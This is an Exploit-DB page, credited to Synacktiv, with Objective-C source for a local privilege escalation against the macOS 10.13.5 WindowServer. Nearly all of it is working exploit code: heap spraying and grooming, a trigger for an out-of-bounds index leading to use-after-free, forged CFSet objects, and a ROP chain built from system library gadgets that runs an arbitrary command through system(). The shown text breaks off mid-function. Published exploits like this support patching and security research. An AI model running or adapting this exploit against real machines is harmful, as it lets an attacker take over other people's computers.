Apple macOS 10.13.5 – Local Privilege Escalation

  • 作者: Synacktiv
    日期: 2019-02-13
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/46428/
  • #import <Cocoa/Cocoa.h>
    #import <dlfcn.h>
    #import <mach-o/dyld.h>
    #import <mach-o/getsect.h>
    #import <mach/mach_vm.h>
    #import <pthread.h>
    
    #import "offsets.h"
    
    //utils
    #define ENFORCE(a, label) \
    do { \
    if (__builtin_expect(!(a), 0)) \
    { \
    timed_log("[!] %s is false (l.%d)\n", #a, __LINE__); \
    goto label; \
    } \
    } while (0)
    
    // from https://stackoverflow.com/questions/4415524/common-array-length-macro-for-c
    #define COUNT_OF(x) ((sizeof(x)/sizeof(0[x])) / ((size_t)(!(sizeof(x) % sizeof(0[x])))))
    
    #define BYTE(buff, offset) (*(uint8_t *)&((uint8_t *)buff)[offset])
    #define DWORD(buff, offset) (*(uint32_t *)&((uint8_t *)buff)[offset])
    #define QWORD(buff, offset) (*(uint64_t *)&((uint8_t *)buff)[offset])
    
    // constants used by the exploit
    #define CFSTRING_SPRAY_SIZE (400*1000*1000)
    #define CFSTRING_SPRAY_COUNT ((CFSTRING_SPRAY_SIZE)/(3*0x8+sizeof(str_array)))
    #define CFSET_SPRAY_SIZE (300*1000*1000)
    // pointers (80*8) + internal size (0x40)
    #define CFSET_SPRAY_COUNT ((CFSET_SPRAY_SIZE)/(80*8+0x40))
    #define VULN_IDX (-0xaaaaab)
    // 4GB should be enough and it's the maximum we can spray in one OOL
    #define ROP_SPRAY_SIZE (4*0x400ul*0x400ul*0x400ul - 0x1000)
    #define SPRAYED_BUFFER_ADDRESS 0x200006000
    
    #define NB_CORE_SWITCH 50
    #define NB_HOLES_PER_SWITCH 1000
    #define NB_REUSE 200
    
    // private functions (both private and public symbols)
    static int (* SLSNewConnection)(int, int *);
    static int (* SLPSRegisterForKeyOnConnection)(int, void *, unsigned int, bool);
    static mach_port_t (* CGSGetConnectionPortById)(uint32_t);
    static int (* SLSReleaseConnection)(int);
    static mach_port_t (* SLSServerPort)(void);
    
    
    // push rbp ; mov rbp, rsp ; mov rax, qword ptr [rdi + 8] ; xor esi, esi ; mov edx, 0x118 ; call qword ptr [rax]
    #define SAVE_RBP_SET_RAX_GADGET ((uint8_t[]){0x55, 0x48, 0x89, 0xe5, 0x48, 0x8b, 0x47, 0x08, 0x31, 0xf6, 0xba, 0x18, 0x01, 0x00, 0x00, 0xff, 0x10})
    
    // mov rax, qword ptr [rax + 8] ; mov rsi, qword ptr [rax] ; call qword ptr [rsi]
    #define SET_RSI_GADGET ((uint8_t[]){0x48, 0x8b, 0x40, 0x08, 0x48, 0x8b, 0x30, 0xff, 0x16})
    
    // mov rdi, qword ptr [rsi + 0x30] ; mov rax, qword ptr [rsi + 0x38] ; mov rsi, qword ptr [rax] ; call qword ptr [rsi]
    #define SET_RDI_GADGET ((uint8_t[]){0x48, 0x8b, 0x7e, 0x30, 0x48, 0x8b, 0x46, 0x38, 0x48, 0x8b, 0x30, 0xff, 0x16})
    
    // mov rax, qword ptr [rsi + 0x10] ; mov rsi, qword ptr [rax + 0x20] ; mov rax, qword ptr [rsi - 8] ; mov rax, qword ptr [rax] ; pop rbp ; jmp rax
    #define POP_RBP_JMP_GADGET ((uint8_t[]){0x48, 0x8b, 0x46, 0x10, 0x48, 0x8b, 0x70, 0x20, 0x48, 0x8b, 0x46, 0xf8, 0x48, 0x8b, 0x00, 0x5d, 0xff, 0xe0})
    
    static int resolve_symbols();
    static int build_rop_spray(void **rop_spray, char *command_line);
    static int massage_heap(int connection_id);
    static int register_application(int connection_id);
    static int setup_hooks(int connection_id);
    static int trigger_the_bug(int connection_id);
    static int reuse_allocation(int connection_id);
    static int find_dylib_text_section(const char *dylib_name, void **text_address, size_t *text_size);
    static void timed_log(char* format, ...);
    
    static mach_msg_return_t _CGSSetConnectionProperty(mach_port_t connection_port, int connection_id, const char *key_value, const void *serialized_value, uint32_t serialized_value_length, bool deallocate);
    static mach_msg_return_t _CGSSetAuxConn(uint32_t connection_id, ProcessSerialNumber *process_serial_number);
    static mach_msg_return_t _CGSCreateApplication(uint32_t connection_id, ProcessSerialNumber sn, uint32_t session_id, uint32_t session_attributes, uint32_t unknown_2, pid_t pid, char *app_name, char multi_process, uint32_t sent_connection_id);
    
    int main(int argc, char **argv)
    {
    int connection_id = -1;
    void *rop_spray = NULL;
    bool free_application = false;
    
    ENFORCE(argc == 2, fail);
    ENFORCE(strlen(argv[1]) < 0x1000 - 0x600, fail);
    
    timed_log("[+] Resolving symbols...\n");
    ENFORCE(resolve_symbols() == 0, fail);
    
    timed_log("[+] Building our ROP chain...\n");
    ENFORCE(build_rop_spray(&rop_spray, argv[1]) == 0, fail);
    
    timed_log("[+] Creating a fresh connection...\n");
    ENFORCE(SLSNewConnection(0, &connection_id) == 0, fail);
    
    timed_log("[+] Setup 'hooks'...\n");
    ENFORCE(setup_hooks(connection_id) == 0, fail);
    
    timed_log("[+] Making holes (des p'tits trous, des p'tits trous, toujours des p'tit trous : https://www.youtube.com/watch?v=HsX4M-by5OY)...\n");
    ENFORCE(massage_heap(connection_id) == 0, fail);
    
    // no timed_log, we want to be fast :)
    ENFORCE(register_application(connection_id) == 0, fail);
    free_application = true;
    timed_log("[+] Application registered...\n");
    
    timed_log("[+] Triggering the bug\n");
    ENFORCE(trigger_the_bug(connection_id) == 0, fail);
    
    timed_log("[+] Let's free and reuse the application...\n");
    // this will whack the application
    free_application = false;
    ENFORCE(reuse_allocation(connection_id) == 0, fail);
    
    timed_log("[+] Trigger the UAF...\n");
    ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, "SPRAY", rop_spray, ROP_SPRAY_SIZE, true) == KERN_SUCCESS, fail);
    // the kernel freed the pages for us :)
    rop_spray = NULL;
    
    // a last synchronised request to make sure our command has been executed...
    ENFORCE(SLPSRegisterForKeyOnConnection(connection_id, &(ProcessSerialNumber){0, 0}, 8, 1) == -50, fail);
    
    // don't leave any connections behind us...
    ENFORCE(SLSReleaseConnection(connection_id) == 0, fail);
    connection_id = -1;
    timed_log("[+] OK\n");
    return 0;
    
    // fail is the label of choice when coding Apple exploit :) (cf. CVE-2014-1266)
    fail:
    if (free_application)
    {
    ProcessSerialNumber psn;
    psn.highLongOfPSN = 0;
    psn.lowLongOfPSN = 0x12340000;
    _CGSCreateApplication(connection_id, psn, 2, 0, 2, getpid(), "a", false, connection_id);
    }
    if (connection_id != -1)
    SLSReleaseConnection(connection_id);
    if (rop_spray != NULL)
    mach_vm_deallocate(mach_task_self(), (mach_vm_address_t)rop_spray, ROP_SPRAY_SIZE);
    return 1;
    }
    
    
    static int resolve_symbols()
    {
    SLSNewConnection = dlsym(RTLD_DEFAULT, "SLSNewConnection");
    ENFORCE(SLSNewConnection != NULL, fail);
    SLPSRegisterForKeyOnConnection = dlsym(RTLD_DEFAULT, "SLPSRegisterForKeyOnConnection");
    ENFORCE(SLPSRegisterForKeyOnConnection != NULL, fail);
    SLSReleaseConnection = dlsym(RTLD_DEFAULT, "SLSReleaseConnection");
    ENFORCE(SLSReleaseConnection != NULL, fail);
    SLSServerPort = dlsym(RTLD_DEFAULT, "SLSServerPort");
    ENFORCE(SLSServerPort != NULL, fail);
    
    // ugly but we could find its address by parsing private symbols, we just don't want to waste our time coding it...
    ENFORCE(((uintptr_t)SLPSRegisterForKeyOnConnection & 0xFFF) == (SLPSRegisterForKeyOnConnection_OFFSET & 0xFFF), fail);
    CGSGetConnectionPortById = (void *)((uint8_t*)SLPSRegisterForKeyOnConnection - SLPSRegisterForKeyOnConnection_OFFSET + CGSGetConnectionPortById_OFFSET);
    
    // paranoid checks, check if function starts with push rbp / mov rbp, rsp
    ENFORCE(memcmp(CGSGetConnectionPortById, "\x55\x48\x89\xe5", 4) == 0, fail);
    return 0;
    fail:
    return -1;
    }
    
    // the trick is here to map multiple times the same page to make a HUGE alloc that doesn't use a lot of physical memory
    static int build_rop_spray(void **rop_spray, char *command_line)
    {
    void *handle_libswiftCore = NULL;
    void* large_region = NULL;
    
    *rop_spray = NULL;
    
    // first we reserve a large region
    ENFORCE(mach_vm_allocate(mach_task_self(), (mach_vm_address_t *)&large_region, ROP_SPRAY_SIZE, VM_FLAGS_ANYWHERE) == KERN_SUCCESS, fail);
    
    // then we allocate the first page
    void *rop_chain = large_region;
    ENFORCE(mach_vm_allocate(mach_task_self(), (mach_vm_address_t *)&rop_chain, 0x1000, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE) == KERN_SUCCESS, fail);
    
    // now we can construct our rop chain
    void *release_selector = NSSelectorFromString(@"release");
    ENFORCE(release_selector != NULL, fail);
    
    
    
    // + 0x530 because of our forged CFSet and its 1st hash table entry(=0x200002537)
    BYTE(rop_chain, 0x530 + 0x20) = 0;// flags
    DWORD(rop_chain, 0x530 + 0x18) = 0; // mask
    QWORD(rop_chain, 0x530 + 0x10) = SPRAYED_BUFFER_ADDRESS; // cache address
    QWORD(rop_chain, 0) = (uint64_t)release_selector; // selector
    
    
    // and now the """fun""" part...
    handle_libswiftCore = dlopen("/System/Library/PrivateFrameworks/Swift/libswiftCore.dylib", RTLD_GLOBAL | RTLD_NOW);
    ENFORCE(handle_libswiftCore != NULL, fail);
    
    void *libJPEG_text_addr;
    size_t libJPEG_text_size;
    ENFORCE(find_dylib_text_section("/System/Library/Frameworks/ImageIO.framework/Versions/A/Resources/libJPEG.dylib", &libJPEG_text_addr, &libJPEG_text_size) == 0, fail);
    
    void *libswiftCore_text_addr;
    size_t libswiftCore_text_size;
    ENFORCE(find_dylib_text_section("/System/Library/PrivateFrameworks/Swift/libswiftCore.dylib", &libswiftCore_text_addr, &libswiftCore_text_size) == 0, fail);
    uintptr_t system_address = (uintptr_t)dlsym(RTLD_DEFAULT, "system");
    ENFORCE(system_address != 0, fail);
    
    // check our gadgets
    uintptr_t save_rbp_set_rax = (uintptr_t)memmem(libJPEG_text_addr, libJPEG_text_size, SAVE_RBP_SET_RAX_GADGET, sizeof(SAVE_RBP_SET_RAX_GADGET));
    ENFORCE(save_rbp_set_rax != 0, fail);
    uintptr_t set_rsi = (uintptr_t)memmem(libswiftCore_text_addr, libswiftCore_text_size, SET_RSI_GADGET, sizeof(SET_RSI_GADGET));
    ENFORCE(set_rsi != 0, fail);
    uintptr_t set_rdi = (uintptr_t)memmem(libswiftCore_text_addr, libswiftCore_text_size, SET_RDI_GADGET, sizeof(SET_RDI_GADGET));
    ENFORCE(set_rdi != 0, fail);
    uintptr_t pop_rbp_jmp = (uintptr_t)memmem(libswiftCore_text_addr, libswiftCore_text_size, POP_RBP_JMP_GADGET, sizeof(POP_RBP_JMP_GADGET));
    ENFORCE(pop_rbp_jmp != 0, fail);
    
    ENFORCE(dlclose(handle_libswiftCore) == 0, fail);
    handle_libswiftCore = NULL;
    
    timed_log("[i] Pivot address: 0x%lX\n", save_rbp_set_rax);
    
    QWORD(rop_chain, 8) = save_rbp_set_rax; // pivot
    
    
    // SAVE_RBP_SET_RAX: push rbp ; mov rbp, rsp ; mov rax, qword ptr [rdi + 8] ; xor esi, esi ; mov edx, 0x118 ; call qword ptr [rax]
    // + 0x137 because of our forged CFSet and its 2nd hash table entry 
    QWORD(rop_chain, 0x137) = set_rsi;
    // rax=0x200002137
    
    // SET_RSI: mov rax, qword ptr [rax + 8] ; mov rsi, qword ptr [rax] ; call qword ptr [rsi]
    QWORD(rop_chain, 0x137+8) = SPRAYED_BUFFER_ADDRESS+0x240;
    // rax=SPRAYED_BUFFER_ADDRESS+0x240
    QWORD(rop_chain, 0x240) = SPRAYED_BUFFER_ADDRESS+0x248;
    // rsi=SPRAYED_BUFFER_ADDRESS+0x248
    QWORD(rop_chain, 0x248) = set_rdi;
    
    // SET_RDI: mov rdi, qword ptr [rsi + 0x30] ; mov rax, qword ptr [rsi + 0x38] ; mov rsi, qword ptr [rax] ; call qword ptr [rsi]
    QWORD(rop_chain, 0x248+0x30) = SPRAYED_BUFFER_ADDRESS+0x600;
    // rdi=SPRAYED_BUFFER_ADDRESS+0x500
    QWORD(rop_chain, 0x248+0x38) = SPRAYED_BUFFER_ADDRESS+0x248+0x38+8;
    // rax=SPRAYED_BUFFER_ADDRESS+0x288
    QWORD(rop_chain, 0x288) = SPRAYED_BUFFER_ADDRESS+0x288+8;
    // rsi=SPRAYED_BUFFER_ADDRESS+0x290
    QWORD(rop_chain, 0x290) = pop_rbp_jmp;
    
    for (uint32_t i = 0; i < 4; i++)
    {
    // POP_RBP_JMP: mov rax, qword ptr [rsi + 0x10] ; mov rsi, qword ptr [rax + 0x20] ; mov rax, qword ptr [rsi - 8] ; mov rax, qword ptr [rax] ; pop rbp ; jmp rax
    QWORD(rop_chain, i*0x48+0x290+0x10) = SPRAYED_BUFFER_ADDRESS+i*0x48+0x290+0x10+8;
    // rax=SPRAYED_BUFFER_ADDRESS+0x2A8
    QWORD(rop_chain, i*0x48+0x2A8+0x20) = SPRAYED_BUFFER_ADDRESS+i*0x48+0x2A8+0x20+8+8;
    // rsi=SPRAYED_BUFFER_ADDRESS+0x2D8
    QWORD(rop_chain, i*0x48+0x2D8-8) = SPRAYED_BUFFER_ADDRESS+i*0x48+0x2A8+0x20+8+8;
    // rax=SPRAYED_BUFFER_ADDRESS+0x2D8
    QWORD(rop_chain, i*0x48+0x2D8) = i == 3 ? system_address : pop_rbp_jmp;
    // rax=SPRAYED_BUFFER_ADDRESS+0x2D80x600
    }
    strcpy((char *)&BYTE(rop_chain, 0x600), command_line);
    
    QWORD(rop_chain, 0x1000-8) = 0xFFFFFFFF; // make sure that the server won't try to parse this...
    
    // and duplicate it, we use two for loops to gain some time
    for (uintptr_t i = 0x1000ul; i < 4*0x400*0x400; i += 0x1000ul)
    {
    mach_vm_address_t remapped_page_address = (mach_vm_address_t)large_region+i;
    vm_prot_t protection = VM_PROT_READ;
    kern_return_t kr;
    kr = mach_vm_remap(
    mach_task_self(), 
    &remapped_page_address, 
    0x1000, 
    0, 
    VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, 
    mach_task_self(), 
    (mach_vm_address_t)rop_chain,
    0,
    &protection, 
    &protection, 
    VM_INHERIT_NONE
    );
    ENFORCE(kr == KERN_SUCCESS, fail);
    ENFORCE(remapped_page_address == (mach_vm_address_t)large_region+i, fail);
    }
    for (uintptr_t i = 4*0x400*0x400; i < ROP_SPRAY_SIZE; i += 4*0x400*0x400)
    {
    mach_vm_address_t remapped_page_address = (mach_vm_address_t)large_region+i;
    vm_prot_t protection = VM_PROT_READ;
    kern_return_t kr;
    kr = mach_vm_remap(
    mach_task_self(), 
    &remapped_page_address, 
    4*0x400*0x400, 
    0, 
    VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, 
    mach_task_self(), 
    (mach_vm_address_t)rop_chain,
    0,
    &protection, 
    &protection, 
    VM_INHERIT_NONE
    );
    ENFORCE(kr == KERN_SUCCESS, fail);
    ENFORCE(remapped_page_address == (mach_vm_address_t)large_region+i, fail);
    }
    *rop_spray = large_region;
    return 0;
    fail:
    if (handle_libswiftCore != NULL)
    dlclose(handle_libswiftCore);
    if (large_region != NULL)
    mach_vm_deallocate(mach_task_self(), (mach_vm_address_t)large_region, ROP_SPRAY_SIZE);
    return -1;
    }
    
    size_t malloc_size(void *);
    static int massage_heap(int connection_id)
    {
    static UInt8 data_buffer[0x70];
    
    memset(data_buffer, 'A', 0x70);
    
    CFDataRef hole_data = NULL;
    CFNumberRef place_holder_number = NULL;
    CFDataRef serialized_hole_0x60_data = NULL;
    CFDataRef serialized_hole_0x70_data = NULL;
    CFDataRef serialized_number_place_holder = NULL;
    bool free_tmp_application = false;
    
    hole_data = CFDataCreate(NULL, data_buffer, 0x60 - 0x40 - 0x20);
    ENFORCE(hole_data != NULL, fail);
    serialized_hole_0x60_data = CFPropertyListCreateData(NULL, hole_data, kCFPropertyListBinaryFormat_v1_0, 0, NULL);
    ENFORCE(serialized_hole_0x60_data != NULL, fail);
    CFRelease(hole_data);
    hole_data = NULL;
    
    hole_data = CFDataCreate(NULL, data_buffer, 0x70 - 0x40 - 0x20);
    ENFORCE(hole_data != NULL, fail);
    serialized_hole_0x70_data = CFPropertyListCreateData(NULL, hole_data, kCFPropertyListBinaryFormat_v1_0, 0, NULL);
    ENFORCE(serialized_hole_0x70_data != NULL, fail);
    CFRelease(hole_data);
    hole_data = NULL;
    
    uint64_t v = 0x1337BAB;
    place_holder_number = CFNumberCreate(NULL, kCFNumberSInt64Type, &v);
    ENFORCE(place_holder_number != NULL, fail);
    serialized_number_place_holder = CFPropertyListCreateData(NULL, place_holder_number, kCFPropertyListBinaryFormat_v1_0, 0, NULL);
    ENFORCE(serialized_number_place_holder != NULL, fail);
    CFRelease(place_holder_number);
    place_holder_number = NULL;
    // now free the data to make holes :)
    
    uint8_t *placeholder_data_bytes = (uint8_t *)CFDataGetBytePtr(serialized_number_place_holder);
    size_t placeholder_data_size = CFDataGetLength(serialized_number_place_holder);
    
    for (uint32_t i = 0; i < NB_CORE_SWITCH; i++)
    {
    ProcessSerialNumber psn;
    psn.highLongOfPSN = 0;
    psn.lowLongOfPSN = 0x6660000;
    
    // help changing core...
    ENFORCE(_CGSCreateApplication(connection_id, psn, 0, 0, 2, getpid(), "a", true, connection_id) == KERN_SUCCESS, fail);
    free_tmp_application = true;
    
    for (uint32_t j = 0; j < NB_HOLES_PER_SWITCH; j++)
    {
    char key[20];
    snprintf(key, sizeof(key), "MSSG_%4d_%4d", i, j);
    
    CFDataRef data = j%2 == 0 ? serialized_hole_0x70_data : serialized_hole_0x60_data;
    uint8_t *data_bytes = (uint8_t *)CFDataGetBytePtr(data);
    size_t data_size = CFDataGetLength(data);
    
    ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, key, data_bytes, data_size, false) == KERN_SUCCESS, fail);
    
    snprintf(key, sizeof(key), "MSSH_%4d_%4d", i, j);
    ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, key, placeholder_data_bytes, placeholder_data_size, false) == KERN_SUCCESS, fail);
    }
    ENFORCE(_CGSCreateApplication(connection_id, psn, 1, 0, 2, getpid(), "a", false, connection_id) == -50, fail);
    free_tmp_application = false;
    }
    CFRelease(serialized_number_place_holder);
    serialized_number_place_holder = NULL;
    CFRelease(serialized_hole_0x60_data);
    serialized_hole_0x60_data = NULL;
    CFRelease(serialized_hole_0x70_data);
    serialized_hole_0x70_data = NULL;
    
    for (uint32_t i = 0; i < NB_CORE_SWITCH; i++)
    {
    for (uint32_t j = 0; j < NB_HOLES_PER_SWITCH; j++)
    {
    char key[20];
    snprintf(key, sizeof(key), "MSSG_%4d_%4d", i, j);
    
    ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, key, NULL, 0, false) == KERN_SUCCESS, fail);
    }
    }
    return 0;
    
    fail:
    if (hole_data != NULL)
    CFRelease(hole_data);
    if (serialized_hole_0x60_data != NULL)
    CFRelease(serialized_hole_0x60_data);
    if (serialized_hole_0x70_data != NULL)
    CFRelease(serialized_hole_0x70_data);
    if (place_holder_number != NULL)
    CFRelease(place_holder_number);
    if (serialized_number_place_holder != NULL)
    CFRelease(serialized_number_place_holder);
    if (free_tmp_application)
    {
    ProcessSerialNumber psn;
    psn.highLongOfPSN = 0;
    psn.lowLongOfPSN = 0x6660000;
    _CGSCreateApplication(connection_id, psn, 2, 0, 2, getpid(), "a", false, connection_id);
    }
    return -1;
    }
    
    static int register_application(int connection_id)
    {
    ProcessSerialNumber psn;
    bool free_application = false;
    char app_name[0x40];
    
    // app_name must be > 0x20 to not use the tiny holes reserved for CFSet and it must be big enough to fill the rest of the space left by the application
    memset(app_name, 'B', sizeof(app_name)-1);
    app_name[COUNT_OF(app_name)-1] = 0;
    
    psn.highLongOfPSN = 0;
    psn.lowLongOfPSN = 0x12340000;
    ENFORCE(_CGSCreateApplication(connection_id, psn, 0, 0, 2, getpid(), app_name, true, connection_id) == KERN_SUCCESS, fail);
    free_application = true;
    
    // use a psn in the middle-end of our spray
    psn.lowLongOfPSN = 0x12340000;
    ENFORCE(_CGSSetAuxConn(connection_id, &psn) == 0, fail);
    return 0;
    
    fail:
    if (free_application)
    {
    psn.highLongOfPSN = 0;
    psn.lowLongOfPSN = 0x12340000;
    _CGSCreateApplication(connection_id, psn, 2, 0, 2, getpid(), "a", false, connection_id);
    }
    return -1;
    }
    
    static int setup_hooks(int connection_id)
    {
    CFNumberRef set_array_values[35] = {NULL};
    CFMutableArrayRef big_array = NULL;
    CFDataRef data = NULL;
    
    timed_log("[+] Forging our set...\n");
    
    uint8_t set_hash_table[71] = {
    0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
    0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
    0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
    0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
    0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
    0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
    0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
    0
    };
    uint32_t set_size = 0;
    uint64_t v = 0x400000001;
    while (set_size < COUNT_OF(set_array_values))
    {
    CFNumberRef n;
    n = CFNumberCreate(NULL, kCFNumberSInt64Type, &v);
    ENFORCE(n != NULL, fail);
    uint32_t h = CFHash(n)%71;
    if (set_hash_table[h] == 1)
    {
    set_array_values[set_size] = n;
    set_hash_table[h] = 0;
    set_size ++;
    }
    else
    {
    CFRelease(n);
    }
    v++;
    ENFORCE(v < 0x400000001 + 0xFFFFF, fail);
    }
    
    big_array = CFArrayCreateMutable(NULL, 0, &kCFTypeArrayCallBacks);
    ENFORCE(big_array != NULL, fail);
    
    timed_log("[+] Creating our big set array...\n");
    
    for (uint32_t i = 0; i < CFSET_SPRAY_COUNT; i++)
    {
    CFArrayRef tmp_array = CFArrayCreate(NULL, (const void **)set_array_values, COUNT_OF(set_array_values), &kCFTypeArrayCallBacks);
    ENFORCE(tmp_array != NULL, fail);
    CFArrayAppendValue(big_array, tmp_array);
    CFRelease(tmp_array);
    }
    
    for (uint32_t i = 0; i < COUNT_OF(set_array_values); i++)
    {
    CFRelease(set_array_values[i]);
    set_array_values[i] = NULL;
    }
    
    timed_log("[+] Serializing it...\n");
    
    data = CFPropertyListCreateData(NULL, big_array, kCFPropertyListBinaryFormat_v1_0, 0, NULL);
    ENFORCE(data != NULL, fail);
    CFRelease(big_array);
    big_array = NULL;
    
    uint8_t *data_bytes = (uint8_t *)CFDataGetBytePtr(data);
    size_t data_size = CFDataGetLength(data);
    
    timed_log("[i] Serialized size: %ldMB\n", data_size / (1000*1000));
    
    timed_log("[+] Patching it...\n");
    uint32_t nb_arrays = 0;
    uint32_t cursor = 0;
    while (1)
    {
    uint8_t *position = memmem(&data_bytes[cursor], data_size-cursor, "\xAF\x10\x23", 3);
    if (position == NULL)
    break;
    position[0] = 0xCF; // Array to Set
    nb_arrays ++;
    ENFORCE(nb_arrays <= CFSET_SPRAY_COUNT, fail);
    cursor = (uint32_t)(position-data_bytes) + 3;
    }
    ENFORCE(nb_arrays == CFSET_SPRAY_COUNT, fail);
    
    ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, "SPRAY", data_bytes, data_size, false) == KERN_SUCCESS, fail);
    CFRelease(data);
    data = NULL;
    return 0;
    
    fail:
    for (uint32_t i = 0; i < COUNT_OF(set_array_values); i++)
    if (set_array_values[i] != NULL)
    CFRelease(set_array_values[i]); 
    if (data != NULL)
    CFRelease(data);
    if (big_array != NULL)
    CFRelease(big_array);
    return -1;
    }
    
    static int trigger_the_bug(int connection_id)
    {
    ProcessSerialNumber psn;
    
    psn.highLongOfPSN = 0;
    psn.lowLongOfPSN = 0x12340000;
    int32_t index = VULN_IDX;
    int err;
    while ((err = SLPSRegisterForKeyOnConnection(connection_id, &psn, index, 1)) != 0)
    {
    // ENFORCE((err == 1011) || (err == -600), fail);
    ENFORCE(++index < VULN_IDX+((2*8*1024*1024)/0x18), fail); // = 2 small regions = 16 MiB
    }
    return 0;
    fail:
    return -1;
    }
    
    
    static int reuse_allocation(int connection_id)
    {
    CFNumberRef set_array_values[8] = {NULL};
    CFMutableArrayRef big_array = NULL;
    CFDataRef data = NULL;
    bool free_tmp_application = false;
    bool free_application = true;
    
    timed_log("[+] Forging our set...\n");
    
    uint8_t set_hash_table[13];
    memset(set_hash_table, 1, sizeof(set_hash_table));
    
    uint64_t v;
    v = 0x2000025;
    set_array_values[0] = CFNumberCreate(NULL, kCFNumberSInt64Type, &v); // == 0x200002537 -> hash = 0
    ENFORCE(CFHash(set_array_values[0])%COUNT_OF(set_hash_table) == 0, fail);
    set_hash_table[0] = 0;
    
    v = 0x2000021;
    set_array_values[1] = CFNumberCreate(NULL, kCFNumberSInt64Type, &v); // == 0x200002137; -> hash = 1
    ENFORCE(CFHash(set_array_values[1])%COUNT_OF(set_hash_table) == 1, fail);
    set_hash_table[1] = 0;
    
    v = 0;
    uint32_t set_size = 2;
    while (set_size < COUNT_OF(set_array_values))
    {
    CFNumberRef n;
    n = CFNumberCreate(NULL, kCFNumberSInt64Type, &v);
    ENFORCE(n != NULL, fail);
    uint32_t h = CFHash(n)%COUNT_OF(set_hash_table);
    if (set_hash_table[h] == 1)
    {
    set_array_values[set_size] = n;
    set_hash_table[h] = 0;
    set_size ++;
    }
    else
    {
    CFRelease(n);
    }
    v++;
    ENFORCE(v < 0xFFFFF, fail);
    }
    
    big_array = CFArrayCreateMutable(NULL, 0, &kCFTypeArrayCallBacks);
    ENFORCE(big_array != NULL, fail);
    
    timed_log("[+] Creating our big set array...\n");
    
    for (uint32_t i = 0; i < NB_REUSE; i++)
    {
    CFArrayRef tmp_array = CFArrayCreate(NULL, (const void **)set_array_values, COUNT_OF(set_array_values), &kCFTypeArrayCallBacks);
    ENFORCE(tmp_array != NULL, fail);
    CFArrayAppendValue(big_array, tmp_array);
    CFRelease(tmp_array);
    }
    
    for (uint32_t i = 0; i < COUNT_OF(set_array_values); i++)
    {
    CFRelease(set_array_values[i]);
    set_array_values[i] = NULL;
    }
    
    timed_log("[+] Serializing it...\n");
    
    data = CFPropertyListCreateData(NULL, big_array, kCFPropertyListBinaryFormat_v1_0, 0, NULL);
    ENFORCE(data != NULL, fail);
    CFRelease(big_array);
    big_array = NULL;
    
    uint8_t *data_bytes = (uint8_t *)CFDataGetBytePtr(data);
    size_t data_size = CFDataGetLength(data);
    
    timed_log("[i] Serialized size: %ldMB\n", data_size / (1000*1000));
    
    timed_log("[+] Patching it...\n");
    
    uint32_t nb_arrays = 0;
    uint32_t cursor = 0;
    while (1)
    {
    uint8_t *position = memmem(&data_bytes[cursor], data_size-cursor, "\xA8\x02\x03", 3);
    if (position == NULL)
    break;
    position[0] = 0xC8; // Array to Set
    nb_arrays ++;
    ENFORCE(nb_arrays <= NB_REUSE, fail);
    cursor = (uint32_t)(position-data_bytes) + 3;
    }
    ENFORCE(nb_arrays == NB_REUSE, fail);
    
    ProcessSerialNumber psn;
    psn.highLongOfPSN = 0;
    psn.lowLongOfPSN = 0x12340000;
    ENFORCE(_CGSCreateApplication(connection_id, psn, 1, 0, 2, getpid(), "a", false, connection_id) == -50, fail);
    free_application = false;
    
    for (uint32_t i = 0; i < 1000; i++)
    {
    char key[0x80];
    ProcessSerialNumber psn;
    
    psn.highLongOfPSN = 0;
    psn.lowLongOfPSN = 0x56780000;
    
    // help changing core...
    ENFORCE(_CGSCreateApplication(connection_id, psn, 0, 0, 2, getpid(), "a", true, connection_id) == KERN_SUCCESS, fail);
    free_tmp_application = true;
    // we use a long name to make sure it'll not be placed in our holes :)
    snprintf(key, sizeof(key), "FAKE_OBJECT_WITH_A_VERY_LOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOONG_NAME_%d", i);
    ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, key, data_bytes, data_size, false) == KERN_SUCCESS, fail);
    ENFORCE(_CGSCreateApplication(connection_id, psn, 1, 0, 2, getpid(), "a", false, connection_id) == -50, fail);
    free_tmp_application = false;
    usleep(10);
    }
    CFRelease(data);
    data = NULL;
    return 0;
    
    fail:
    if (free_application)
    {
    ProcessSerialNumber psn;
    psn.highLongOfPSN = 0;
    psn.lowLongOfPSN = 0x12340000;
    _CGSCreateApplication(connection_id, psn, 2, 0, 2, getpid(), "a", false, connection_id);
    }
    if (free_tmp_application)
    {
    ProcessSerialNumber psn;
    psn.highLongOfPSN = 0;
    psn.lowLongOfPSN = 0x56780000;
    _CGSCreateApplication(connection_id, psn, 2, 0, 2, getpid(), "a", false, connection_id);
    }
    for (uint32_t i = 0; i < COUNT_OF(set_array_values); i++)
    if (set_array_values[i] != NULL)
    CFRelease(set_array_values[i]); 
    if (data != NULL)
    CFRelease(data);
    if (big_array != NULL)
    CFRelease(big_array);
    return -1;
    }
    
    static int find_dylib_text_section(const char *dylib_name, void **text_address, size_t *text_size)
    {
    uint32_t image_count = _dyld_image_count();
    
    for (uint32_t i = 0; i < image_count; i++)
    {
    const char *current_dylib_name = _dyld_get_image_name(i);
    ENFORCE(current_dylib_name != NULL, fail);
    if (strcmp(current_dylib_name, dylib_name) != 0)
    continue;
    const struct mach_header_64 *dylib_header = (const struct mach_header_64 *)_dyld_get_image_header(i);
    ENFORCE(dylib_header != NULL, fail);
    ENFORCE(dylib_header->magic == MH_MAGIC_64, fail);
    
    uint32_t max_size = dylib_header->sizeofcmds;
    ENFORCE(max_size < 0x2000, fail);
    
    struct load_command *load_command = (struct load_command *)(dylib_header+1);
